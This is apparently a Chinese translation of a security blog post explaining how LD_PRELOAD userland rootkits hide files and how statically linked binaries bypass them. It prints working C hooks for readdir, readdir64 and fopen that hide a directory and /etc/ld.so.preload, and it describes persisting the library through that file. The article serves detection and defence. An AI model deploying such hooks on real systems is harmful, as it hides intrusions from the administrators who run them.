【翻译】Bypassing LD_PRELOAD Rootkits Is Easy
引言
在本文中,我将深入探讨一个非常有趣的话题——如何绕过 LD_PRELOAD rootkit 所使用的 hook 技术。这种方法对绝大多数 LD_PRELOAD rootkit 都非常有效。
LD_PRELOAD
LD_PRELOAD
是类 Unix 系统(如 x86_64 Linux 下的 /lib64/ld-linux-x86-64.so.2)中动态链接器(dynamic linker)使用的一个环境变量,用于在程序执行时强制优先加载指定的共享库(shared library)。
这种技术允许你在不修改程序二进制文件的情况下,“hook”标准库(如 libc)中的函数,因此被广泛应用于调试以及用户空间 rootkit 等攻击性技术中。
当 ELF 二进制文件被执行时,动态链接器会通过如过程链接表(Procedure Linkage Table,PLT)和全局偏移表(Global Offset Table,GOT)等结构解析外部函数调用。通过 LD_PRELOAD 预加载自定义库,攻击者可以覆盖如 readdir() 或 fopen() 这样的函数。
示例:
LD_PRELOAD=./rootkitresearchers.so ls
/etc/ld.so.preload
除了环境变量之外,/etc/ld.so.preload
文件同样可以用于将某个库持久性地加载到系统中的所有进程(包括 root 权限进程)。该文件的优先级高于任何环境变量,会在环境变量之前被读取。
使用 Rootkit 安装并隐藏目录
为了演示这一点,我将使用一个简单的 LD_PRELOAD rootkit,通过 hook readdir
、readdir64
和 fopen
函数,来改变文件和目录列表的行为。相关代码如下所示。
完整源码
struct dirent *(*orig_readdir)(DIR *dirp);
struct dirent *readdir(DIR *dirp)
{
if (!orig_readdir)
orig_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *entry;
while ((entry = orig_readdir(dirp)) != NULL) {
if (strcmp(entry->d_name, HIDDEN_DIR) != 0 && strcmp(entry->d_name, HIDDEN_FILE) != 0) {
return entry;
}
}
return NULL;
}
上述代码片段 hook 了 readdir 函数,该函数负责列出目录中的文件。它通过一个指针 orig_readdir 保存原始函数的地址,该地址是通过 dlsym(RTLD_NEXT, "readdir") 获取的。随后,在循环中调用原始函数以获取目录中的每一个条目,但会过滤(忽略)名称为 "secret" 或 "ld.so.preload" 的条目。因此,这些条目不会出现在调用 readdir 的程序中。当没有更多可见条目时,函数返回 NULL。
struct dirent64 *(*orig_readdir64)(DIR *dirp);
struct dirent64 *readdir64(DIR *dirp)
{
if (!orig_readdir64)
orig_readdir64 = dlsym(RTLD_NEXT, "readdir64");
struct dirent64 *entry;
while ((entry = orig_readdir64(dirp)) != NULL) {
if (strcmp(entry->d_name, HIDDEN_DIR) != 0 && strcmp(entry->d_name, HIDDEN_FILE) != 0) {
return entry;
}
}
return NULL;
}
这段代码实现了相同的逻辑,但适用于 64 位版本的 readdir64 函数。
FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(constchar *pathname, constchar *mode)
{
if (!orig_fopen)
orig_fopen = dlsym(RTLD_NEXT, "fopen");
if (strstr(pathname, HIDDEN_FILE) != NULL) {
errno = ENOENT;
return NULL;
}
return orig_fopen(pathname, mode);
}
这个 fopen hook 通过在路径中包含如“ld.so.preload”等关键字时,返回“文件未找到”错误(ENOENT),从而隐藏对特定文件的访问。
现在我们将其编译并加载到 /etc/ld.so.preload
中。
加载完成后,我们可以尝试创建一个名为 secret
的目录,并观察它是否会被 ls 隐藏。
如预期所示,该目录被 ls 隐藏了。
[原理] 绕过 LD_PRELOAD rootkit
这里有一个有趣的点:依赖 LD_PRELOAD 技术的 rootkit 完全依靠 Linux 动态加载器(ld-linux.so)在标准系统库(如 libc)之前“注入”其恶意库。但这种方式对所有程序都有效吗?
简短的答案是:并不是!
为什么 LD_PRELOAD 有时有效,有时无效?
如前文所述,LD_PRELOAD 是一个由 ld-linux.so 使用的环境变量,用于在加载其他库之前加载额外的库,这样就可以拦截标准库(如 libc)中的函数。换句话说,你可以用自定义版本替换系统函数,比如列出文件或打开文件的函数,这对于隐藏目录或文件非常有效。
但要实现这一点,程序必须采用动态加载,并依赖 ld-linux.so 来解析这些函数。
为什么静态链接二进制文件(static binary)会破坏这种机制?
静态链接的二进制文件是“自包含”的。它们会将所有依赖(如 libc)所需的代码直接集成到可执行文件中。因此,这类程序在运行时不会调用动态链接器,所以 LD_PRELOAD 和 /etc/ld.so.preload 会被忽略。
换句话说,LD_PRELOAD 以及 /etc/ld.so.preload 文件对于这些二进制文件根本不起作用。这意味着基于这些技术的 rootkit 对它们完全无效,几乎毫无用处。
这也是绕过此类 rootkit 最有效的方法之一。
[实战] 绕过 LD_PRELOAD rootkit
当 rootkit 被加载到 /etc/ld.so.preload 后,secret 目录会被依赖 libc 和动态加载器的命令(如 ls)隐藏。
但绕过这一点其实很简单,例如:只需编译一个静态二进制文件,比如一个简单的 getdents64.c
gcc getdents64.c -o getdents64 –static
当我们用 ldd 检查 getdents64 时,会发现它没有加载任何动态依赖库,而 ldd /bin/ls 则依赖于 libc。由于静态二进制文件不会使用动态链接器,LD_PRELOAD 会被完全忽略,rootkit 也同样无效。
绕过 LD_PRELOAD rootkit 其实非常简单。
总结
LD_PRELOAD rootkit 在用户空间隐藏痕迹方面确实非常有效,尤其是由于其实现简单且比 LKM rootkit 更加稳定。然而,正如本文所展示的,它们并非无懈可击。通过使用静态二进制文件等简单技术,就可以轻松绕过 rootkit 所应用的 hook,因为这些程序并不依赖动态加载器和外部 libc。
原文始发于微信公众号(securitainment):破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论